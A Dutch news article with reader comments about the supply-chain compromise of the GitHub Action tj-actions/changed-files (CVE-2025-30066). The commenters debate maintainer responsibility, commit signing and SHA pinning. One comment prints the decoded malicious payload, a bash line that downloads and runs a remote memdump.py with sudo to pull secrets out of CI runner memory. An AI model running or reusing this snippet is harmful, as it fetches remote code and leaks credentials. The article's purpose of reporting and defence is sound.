Populaire tj-actions-tool op GitHub bevatte code die secrets openbaart

De populaire GitHub Action tj-actions/changed-files, waarmee ontwikkelaars gewijzigde bestanden in een repository kunnen detecteren, is vrijdag gecompromitteerd. Er werd code aan toegevoegd die 'secrets' aan openbare logs toevoegde. De schadelijke code is inmiddels uit de tool gehaald.

Als ontwikkelaars de gecompromitteerde versie van tj-actions/changed-files aanroepen in een CI-workflow, zorgt de payload ervoor dat er een Python-script uitgevoerd wordt dat secrets, oftewel gevoelige informatie, vanuit het geheugen van de CI-runner dumpt naar de buildlogs. Dat ontdekte Step Security. Als de repository van de ontwikkelaar openbaar is, heeft daardoor iedere gebruiker toegang tot de secrets. Secrets kunnen bijvoorbeeld api-keys, access tokens of interne wachtwoorden zijn. De kwetsbaarheid staat bekend als CVE-2025-30066 en heeft een ernstigheidsscore van 8,6 meegekregen.

Volgens Step Security werd de payload op vrijdag 14 maart rond 17:00 uur Nederlandse tijd aan tj-actions/changed-files toegevoegd. De GitHub-gist met de schadelijke code is zaterdagmiddag offline gehaald. Diezelfde dag werd ook tj-actions/changed-files tijdelijk van het platform gehaald, maar inmiddels staat de Action weer online. De malafide commit met de schadelijke code is niet meer aanwezig. Het beveiligingsbedrijf raadt ontwikkelaars aan om te controleren of er secrets in de logs zijn gelekt. De GitHub Action wordt door meer dan 23.000 repository's gebruikt.

De commit met malafide code. Bron: Step Security

Reacties (62)

[Toet3r]

Wat ik een beetje mis in dit artikel is, wat voor stappen zijn er genomen tegen de persoon die deze malafide code heeft toegevoegd? Op GitHub is te zien welke user wijzigen heeft gemaakt.

[Jeoh]

Nee, iemand heeft zich voorgedaan als Renovate en de PR is rucksichtlos gemerged, omdat ze ook niet checken of commits signed zijn (vergelijk het maar met deze legitieme commit.
Staat ook in het artikel.

[Anoniem: 334725]

Goede reden om PGP te enforcen op public repos. Je maakt het zo wel heel makkelijk.

[Blokker_1999]

Gewoon al het feit dat iemand een PR goedkeurt met zo een minimaal verschil maar waarbij eigenlijk heel het blok, dat ook maar iets doet, base64 encoded is, is gewoon rotslecht. Iedereen zou moeten zien dat zoiets niet klopt en de PR moeten tegenhouden. Als je zoiets doorlaat ga je ook geen handtekeningen van gebruikers nakijken.

[jaapzb]

Gaat om een PR die op het eerste gezicht automatisch gemerged lijkt te zijn zonder review. Renovate is een tool om dependencies up to date te houden die automatisch PR's aanmaakt als een dep een update heeft. Er zijn genoeg projecten waar dit soort PR's, mits de tests passen, automatisch gemerged worden. (Of dat slim is, is punt 2)

Hier heeft een bad actor push rechten kunnen krijgen op deze repo en zich voorgedaan als renovate bot door die als commit author in te stellen (je kan je in git voordoen als wie dan ook, als je je commits niet signed).

Er heeft niemand deze PR gereviewed. Was ook niet nodig, want deze hacker had volledige push rechten op deze repo. Het committen als "renovate bot" was alleen maar om deze wijzigingen te maskeren. Vervolgens waren de echte "targets" van deze wijziging de mensen die deze action weer gebruiken in hun CI pijplijn.

[Reactie gewijzigd door jaapzb op 16 maart 2025 19:05]

[JustSomeWords]

Als je zoiets doorlaat ga je ook geen handtekeningen van gebruikers nakijken.

Je hoeft die handtekeningen niet naar te kijken. Gewoon 1 vinkje aan in de repo settings en je kan de PRs niet meer mergen zonder dat alle commits een juiste handtekening hebben.

[dez11de]

Knap staaltje victim blaming weer.

[Oon]

Ge maintainers zijn niet de slachtoffers in dit geval, dat zijn de mensen die deze action gebruiken. De maintainers hebben letterlijk als enige 'functie' het bijhouden van deze action en controleren van commits.
Als een politieagent iemand doodschiet en diegene blijkt onschuldig te zijn ga je ook niet zeggen van 'oh wat zielig voor meneer de agent', dan heeft diegene gewoon verkeerd gehandeld.

[WoutervOorschot]

Open source maintainers kunnen zeker wel slachtoffer zijn in deze situatie. Ze hebben geen functie, worden niet betaald, ze hebben gewoon toevallig iets gemaakt wat anderen gebruiken.

[GeroldM]

Open source maintainers kunnen zeker wel slachtoffer zijn in deze situatie. Ze hebben geen functie, worden niet betaald, ze hebben gewoon toevallig iets gemaakt wat anderen gebruiken.

Dat is een incompleet beeld wat je schetst in je comment.

De maintainers gebruiken hun open source project(en) om hun waarde op te krikken voor huidige/toekomstige werkgevers. En dan is het hoge aantal gebruikers wel degelijk een maatstaf voor de kwaliteit van de code in die repositories. Zo word het hoge aantal gebruikers al gauw geinterpreteerd door personen die niet zo betrokken zijn met de code, zoals HR-afdelingen van huidige/nieuwe werkgevers.

Nou zal dit niet voor iedere open source maintainer gelden, maar sommigen zullen het dus minder nauw nemen en het makkelijk maken voor anderen om veranderingen te committen. Want dat stuwt het aantal gebruikers op...in hun optiek.

[Oon]

Ze kunnen óók slachtoffer zijn als ze hun eigen library gebruiken, maar in hun rol als maintainer zijn ze dat gewoon niet. Dus in deze context zijn de maintainers geen slachtoffer.

Een ander voorbeeld: Als er ergens schade aan het spoor is dan is ProRail slachtoffer omdat ze kosten hebben en de reiziger ook omdat die vertraagd wordt, maar de mensen die werken in het team dat het spoor bijhoudt en repareert kun je geen slachtoffer noemen. Die voeren gewoon hun functie uit, gaan in opdracht van hun werkgever het probleem oplossen en worden er verder niet door geraakt. Dat wil niet zeggen dat die mensen niet toevallig ook vertraagd kunnen zijn omdat ze met de trein naar het werk komen, maar in hun rol als onderhoudsmonteur zijn ze geen slachtoffer van de schade aan het spoor.

Als maintainer van een open-sourceproject zeg je letterlijk 'ik doe mee aan het onderhouden van dit project inclusief oplossen van bugs en weerhouden van malafide changes'. Ze krijgen niet betaald, maar ze hebben er toch zeker wel zélf voor gekozen om betrokken te zijn bij het project in die functie.

[WoutervOorschot]

Ze zijn toch zeker slachtoffer van een cyberaanval om hun project te compromitteren?

In jouw analogie, stel dat je aan het spoor werkt. Vervolgens doet iemand zich onder valse voorwendselen zich voor als collega, saboteert iets en daarna is er een ongeluk. Dan is je zowel eventueel schuld te verwijten (niet goed genoeg gecontroleerd) als dat je slachtoffer bent (van oplichting/ impersonatie).

[bzuidgeest]

Ze hebben wel een functie, die van maintainer! Ze worden vaak niet betaald, maar ook vaak wel. Vaak hebben ze een baan bij bedrijven die gebruik maken van het product waar ze aan werken.

En als je iets maakt en publiek stelt dan heb je zeker als het groeit enige verantwoordelijkheid voor dat product.
Dat je niet betaald word veranderd daar allemaal niets aan. Een vrijwilliger mag ook geen misdaad begaan omdat hij of zij gratis werkt. Hier is het niet anders.

[stefanhendriks]

aan de andere kant, je hebt ook een verantwoordelijkheid als gebruiker van open source software. Als je blind alles van `@master` trekt (of sorry, `@main`), dan ben je ook suf bezig... als je versies locked dan heb je nog enige controle erop.

[bzuidgeest]

Prima, maar dat was niet echt waar ik over reageerde. Er werd gesteld dat de maintainers geen "functie" hadden omdat ze niet werden betaald....

[stefanhendriks]

Sja, dat wordt een filosofische discussie natuurlijk. Als je niet in dienst bent, ben je dan in functie? Als je het als hobby doet, is het dan je functie? Je kan stellen dat het een verantwoordelijkheid is om je repo up to date te houden. Maar ja, het blijft mensen werk en daar worden fouten gemaakt. De manier waarop is erg knullig, ben ik mee eens.

[bzuidgeest]

Als je jezelf de maintainer noemt van een project dan heb je als maintainer een functie. Betaald of niet. Als je die titel aanmeet dan heb je een functie. Je hebt geen "baan" nodig om een functie te hebben in een of andere context. En dat is niet echt een filosofische discussie.

[stefanhendriks]

een titel op het internet is zo gemaakt. Je opent een repo en je bent maintainer voila! Je biedt je code/programma aan en opeens heb je verantwoordelijkheden? Deels misschien. Ik zou zeggen, de verantwoordelijkheid ligt uiteindelijk bij de afnemer. Tenzij diegene ervoor betaalt en een SLA/licentie heeft. Ander is het allemaal op goed vertrouwen.

[bzuidgeest]

Er ligt inderdaad ook een verantwoordelijkheid bij de gebruiker om te kijken naar wat hij pakt. Maar ja als ik wat op het internet knikker heb ik daar een zekere verantwoordelijkheid over. Ik zeg niet dat ze die personen in deze moeten straffen of aanpakken of wat dan ook, maar naarmate je repo zijn gebruik groeit moet je of je verantwoording nemen of een dikke disclaimer plaatsen. Beide vind ik prima. Maar je kan niet EN je project onderhouden en supported noemen en aan de andere kant elke verantwoordelijkheid voor wat je naar binnentrekt afschuiven.

[moijamie]

De volledige verantwoordelijkheid ligt bij de eind gebruiker, staat ook zo vermeld in de MIT license.

https://github.com/tj-act...d-files/blob/main/LICENSE

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

[bzuidgeest]

Dat is natuurlijk niet de enige license die bestaat (maar mogelijk die van dit project). Belangrijker nog er is verschil tussen de legale definitie en de praktijk van dingen. Als jij lid word van een project als maintainer dan word er toch echt wat van je verwacht. Of je nou aansprakelijk bent in een rechtbank of niet. En als je als maintainer van een project geen verantwoordelijkheid neemt zit je er niet lang in.

Denk je dat bijvoorbeeld de linux kernel maintainers geen verantwoordelijkheid hebben? Dat ze lang maintainer zijn als ze hun werk niet doen? Ofwel hun verantwoordelijkheden niet nemen?

[tedades]

Github zou Copilot uitrollen voor PR reviews. Misschien dat AI de intentie van een commit kan herkennen om zo PR's (on)veilig te verklaren. Dan zou zoiets automatisch gestopt kunnen worden.

[Jeoh]

Zo simpel is het om het te verplichten in je GitHub Actions: https://github.com/tj-actions/changed-files/pull/2472/files

Volgens mij kan je het ook verplichten op repositoryniveau.

[HollowGamer]

Is PGP opzetten niet erg lastig?

[supersnathan94]

Nee. Met git vrij simpel. Zijn allemaal voorzieningen voor. Je kunt in github profiel gewoon je eigen PGP keys uploaden en die met git CLI registreren. Dan weekt het eigenlijk al.

Niet heel veel moeilijker dan SSH keys uploaden en gebruiken.

[Lampiz]

Je kunt tegenwoordig ook signen met SSH-keys veel makkelijker

https://docs.github.com/e...ification/signing-commits

[Reactie gewijzigd door Lampiz op 17 maart 2025 12:13]

[aaahaaap]

Oh, wow, dat heeft inderdaad niemand gereviewd https://github.com/tj-act...63b01f9b98ffc11c0197R2999

[Ruuddie]

Slim gedaan. De malafide code is als base64 in verstopt, zodat het minder opvalt. Die base64 wordt gedecrypt en is dan als volgt:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSf https://gist.githubuserco...328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi

[justinkb]

Zo'n base64 encoded string zou bij mij juist alarmbellen af laten gaan. Veel voorkomende obfuscatie techniek bij gecompromitteerde code

[bzuidgeest]

Maar het is verwerkt door een bot en die is zo slim niet geweest. Geen mens heeft er voor merge naar gekeken.

[Bender]

Dat is bijna de standaard hoe dit werkt, waardoor het denk ik eerder sneller zou moeten opvallen.

[nandervv]

Het is gewoon een grote configuratie-fout/checkfout om van een renovate-tool te accepteren dat hij iets anders doet dan je requirements.txt/package.json/go.mod file (+lock file) updatet.

[lenwar]

Even advocaat van de duivel:

Wat zou er bijvoorbeeld gedaan moeten worden? GitHub zou de gebruiker kunnen blokkeren, maar wat dan? Dan maakt die persoon een ander mailadres aan, en klaar. Heeft de betreffende persoon iets illegaals gedaan (wettelijk dus)? (En volgens welk land.) Hij heeft code aangeboden die door de beheerder van het project toegevoegd is.

Dat is op zich geen illegale handeling, toch?

Het is minimaal eikelig, maar illegaal?

[Oon]

Volgens mij spreek je hier binnen de Nederlandse wet gewoon van computervredebreuk (Artikel 138ab strafrecht); het doel van deze aanpassing was het onrechtmatig toegang verkrijgen tot de data die beschermd wordt met die secrets.
Anders is het opzettelijk verspreiden van schadelijke code/software ook illegaal (Artikel 350a strafrecht).

Het lastige is natuurlijk dat de wetten over de wereld heen erg verschillen, Nederland is redelijk up to date vwb digitale wetgeving, maar als dit een bot user is die van een willekeurig IP-adres in Rusland komt dan kunnen ze er niet zo gek veel aan doen. Binnen de Nederlandse wet lijkt het mij in ieder geval wél illegaal.

[lenwar]

Die tweede (350a) heb je denk ik wel gelijk in als ik het zo lees. Maar dan voornamelijk door de manier waarop, en dat er dus een kwade intentie was. Het zou, puur theoretisch, natuurlijk ook voor academische doeleinden gepost kunnen zijn. (al is die kans in dit geval ongeveer 0% volgens mij )

Die computervredebreuk is er volgens mij (nog) niet. Want de handeling is (nog) niet uitgevoerd. Is dit niet een beetje als een mes kopen met als doeleinde iemand neer te steken, maar het (nog) niet gedaan hebben? (De vergelijking is natuurlijk scheef, aangezien je een mes voor 10001 redenen kunt kopen en deze code duidelijk één doel had, maar even puur wettelijk dus )

Ik weet niet hoe dit soort dingen zitten. Dan is het meer 'intentie tot computervredebreuk'. En als ze dat gaan verbieden, kom je mogelijk al in een scheef gebied (met glijdende schalen enzo)

[Oon]

Over het algemeen is intentie wel wat relevant is, er is gewoon een poging gedaan tot computervredebreuk en dat is net zoals een poging tot inbraak of poging tot moord gewoon strafbaar.
Als je probeert om iemand z'n wachtwoord te raden en diegene komt binnen en belt de politie zegt de politie ook niet 'je hebt het wachtwoord niet geraden dus we laten je gaan'.

Maar dan hebben we het nog alleen over Nederland, en we hebben überhaupt geen dader (behalve een gebruikersnaam, dus de persoon die hierachter zit moet nog worden opgespoord).
Denk al met al dat er weinig gevolgen gaan zijn voor die persoon

[lenwar]

Poging inbraak en moord, worden expliciet benoemd in de wet. (onderstaande is voor inbraak)
https://wetten.overheid.nl/BWBR0021453/2012-04-17

Ik kan dat 123 niet vinden voor computervredebreuk.

N.B. Ik zeg dus nadrukkelijk niet dat je geen gelijk hebt, hoor. Ik zou het oprecht niet weten.

[HollowGamer]

Phishing is gewoon illegaal.

[lenwar]

Ja, maar dit is geen phishing. Dit is code aanbieden in een openbaar platform.

[DePruus]

GitHub moet gewoon iedereen die iets aanpast via aan geverifieerde login loggen. Dan kun je later gemakkelijker donder zoek doen. Jammer dat dit soort -tuig- GitHub zo’n slechte naam geeft.

[bantoo]

Nee bedankt, ik wil niet iedere keer als ik iets bijdraag als verdachte gezien worden. Het is verre van ideaal hoeveel extra stappen er onderhand toegevoegd worden. Verplichte interactie met de telefoon app voor van alles is al vervelend genoeg.

[Djerro123]

Dit inderdaad. Het gemak waarmee UX wordt weggewuifd onder het mom van “security” is soms frustrerend.

“Ja maar wil je dan soms dat alles wagenwijd openstaat?!?!?!” krijg je dan al snel, maar nee dat is helemaal niet wat ik wil. Ik wil alleen niet zulke draconische maatregelen dat zelfs ik mij in bochten ga wringen om mijn eigen leven makkelijker te maken en die maatregelen “leefbaar” en direct ook niet effectief te maken.

Overigens is in dit geval het ook gewoon mogelijk om git credential manager te gebruiken, kan je eenmalig MFA afdwingen en het daarmee koppelen aan je OS user account.

[Anoniem: 334725]

Het gevolg is dat elke persoon op het platform zich voor kan doen als een ander. Vind je dat acceptabel op een service als Github? Ik niet. Al helemaal niet als je een projectje aanbied die in het bouw proces worden gebruikt.

Het zou dan ook vereist moeten worden op een publieke repo specifiek voor PRs vanuit forks. Dan limiteer je de impact tot waar het nodig is. Of is dat ook al niet goed?

[bantoo]

Tot nu toe zijn er vrijwel geen noemenswaardige drama's geweest met het huidige systeem. Als iets een essentieel beveiligingssysteem is moet het maar ergens anders of met repo specifieke regels gehost worden. Voor het gros van de gebruikers is dit allemaal extra nutteloze bureaucratie.

[Oon]

Dat doen ze al. GitHub hangt je authenticatie aan je GitHub user. Als je via HTTPS commit doe je dat expliciet met je username en wachtwoord, als je dat via SSH doet dan gebeurt dat meestal met een SSH-sleutel, maar in beide gevallen weet GitHub wie de check-in heeft gedaan.
GitHub weet niet wie de commit heeft gedaan, want die optie heeft Git niet, maar als er een check-in gedaan wordt met één commit is dat niet zo lastig te achterhalen. Hetzelfde met een pull request; je ziet gewoon welke user deze heeft gestart, want pull requests zijn een GitHub feature en niet een Git feature.

Daarnaast gaan we er hopelijk snel heen dat iedereen hun commits met PGP-sleutels gaat tekenen zodat er niet mee gerommeld kan worden (je zou nu in theorie de commit van iemand anders kunnen herschrijven maar het emailadres dat er aan hangt hetzelfde kunnen laten, zonder PGP zie je dat niet in de interface of git log) maar dat had dit geval niet afgevangen, want PGP is geen authenticatie of identificatie, het is alleen een bevestiging dat de commit versleuteld is met een bekende key die ook bij de user die de commit ingecheckt heeft hoort; als dat een externe user is die alles netjes heeft ingesteld maar een username heeft die op een andere lijkt dan zie je daar niks van.

[Lampiz]

Je kunt tegenwoordig ook met SSH-sleutels commits signen.

[GertMenkel]

Om dit te voorkomen moeten ontwikkelaars aan de absolute minimum voldoen (commits ondertekenen, pushes ondertekenen, platform instellen niet-ondertekend spul niet te kunnen mergen) maar ook het reviewen van source code blijft belangrijk.

Iemand heeft een nep-account gemaakt dat lijkt op die van een maintainer en daarvan een PR gemerged. Nu was het een copycat, maar voor hetzelfde geld wordt een ontwikkelaar gedwongen door de overheid (zoals mogelijk is in Australië en nu het VK) of is die persoon simpelweg gehackt.

[kodak]

De toegevoegde foute code is afhankelijk van een extra bestand op github. Dat bestand is inmiddels ook offline gehaald. Dus zelfs als iemand toch een versie in gebruik neemt waar deze toegevoegde code in aanwezig is zal dat niet zomaar nog gegevens lekken.

Dat extra bestand zou gegevens moeten verwerken onder sudo-rechten. Waarschijnlijk omdat de software niet zomaar de juiste rechten heeft om die gegevens te kunnen verwerken. Als de juiste rechten gebruikt worden en sudo niet zonder extra authenticatie gebruokt kan worden zal het extra bestand dus ook niet zomaar bij de gegevens kunnen en deze dus ook niet lekken.

[Oon]

Als de juiste rechten gebruikt worden en sudo niet zonder extra authenticatie gebruokt kan worden zal het extra bestand dus ook niet zomaar bij de gegevens kunnen en deze dus ook niet lekken.

Heel leuk, maar dit ging om een GitHub Action, die draait dus zonder user input in de CI-runners van GitHub.
Eigenlijk zou je daar nooit sudo nodig moeten hebben, maar als zo'n action draait in een image met sudo erin zal dat áltijd zonder verdere authenticatie zijn, anders loop je meteen tegen errors aan.

[roelboel]

Wat extra onfortuinlijk is, is dat als je als gebruiker die action importeert op basis van een (gepinde) versie je ook de klos was. Tags zijn immers mutable. Het enige wat je kunt doen om je te beschermen is de sha pinnen, of zelf iedere action forken. Niet ideaal.

[daan.timmer]

Dat is inderdaad ook een redelijke safety standaard waar je aan kan voldoen. Wij pinnen _al_ onze gebruikte actions op een sha: https://github.com/philip...thub/workflows/ci.yml#L27

Deze wordt automatisch door dependabot 'aangepast' (via een pull request die we zelf moeten reviewen en mergen).

Echter, zelfs dan loop je nog steeds het risico dat je een keer een sha binnenhaalt die compromised is.

[roelboel]

Dat doen jullie goed, en beter dan menig ander project.

[FerronN]

Ik erger mij er ook altijd aan dat er vanuit Github geen standaard action is voor deze veel voorkomende use case.

Ben nu toch blij dat wij een eigen change file implementatie hadden gemaakt

[HollowGamer]

Die eigen versie kan mogelijk nog onveiliger zijn dan deze action hook waarbij veel mensen contributen.

Dit was overigens niet code technisch, maar iets dat vaker gebeurt op GitHub.

[Anoniem: 1201820]

Nogmaals: hef internet in zijn huidige vorm op. Cyberwar en Cybercrime zullen het anders overheersen. Iets dergelijks wil je toch ook niet in de " gewone" wereld. Waarom wel een douaneunie voor de "fysieke" wereld en niet voor de digitale?

[WhatsappHack]

Je kan zelf kiezen waar je routeerbaar bent. Als jij enkel vanuit NL te benaderen wil zijn, dan staat niets je in de weg. Het probleem is alleen wel dat met een VPN of proxy je er toch doorheen komt, wat ook meteen laat zien waarom het een lastig verhaal is om het te scheiden; tenzij je jezelf geheel van de rest van de wereld wil afsluiten ala China; hetgeen mij onwenselijk lijkt.

[k995]

Dat is als zeggen "hef het huidige verkeer in zijn huidige vorm op" omdat er ergens een diefstal of ongeluk gebeurd

[robkorv]

Waarom zou je een action van een ongeverifieerde creator nodig hebben om changed files te detecteren? Git is gewoon aanwezig op een gh-runner en met actions/github-script kan je de GitHub api aanspreken.

[Lampiz]

In 1 woord, gemak.

[Jim80]

Ik blijf het onbegijpelijk vinden dat applicaties vandaag de dag onbeperkt internettoegang hebben naar waar ze maar willen. Er moet maar 1 van de 1000 dependencies iets mispeuteren (want tegenwoordig is het hip om veel dependencies te hebben en een build van honderden MB). Je moet zelf al heel wat moeite doen om dat met behulp van een firewall in te perken.

[Lampiz]

Aan de gebruikerskant hoor ik niks over eigen verantwoordelijkheid.
Als bedrijf moet je op GitHub de public actions (zoals deze tj-actions/changedFiles) forken in je eigen organisatie en publieke actions selectief toestaan of allemaal weigeren. Dan moet je dit wel onderhouden (syncen met de fork), maar voorkomt het dat mensen blind allerlei actions in je bedrijf gaan zitten gebruiken met dit soort gevolgen van dien.

[Reactie gewijzigd door Lampiz op 17 maart 2025 13:13]

[Mellow Jack]

Valt me sowieso op dat veel mensen enorm lui zijn of basale zaken niet snappen. Een lijst aangepaste files maken kost je maar een paar regels Powershell of Python (bash iets meer )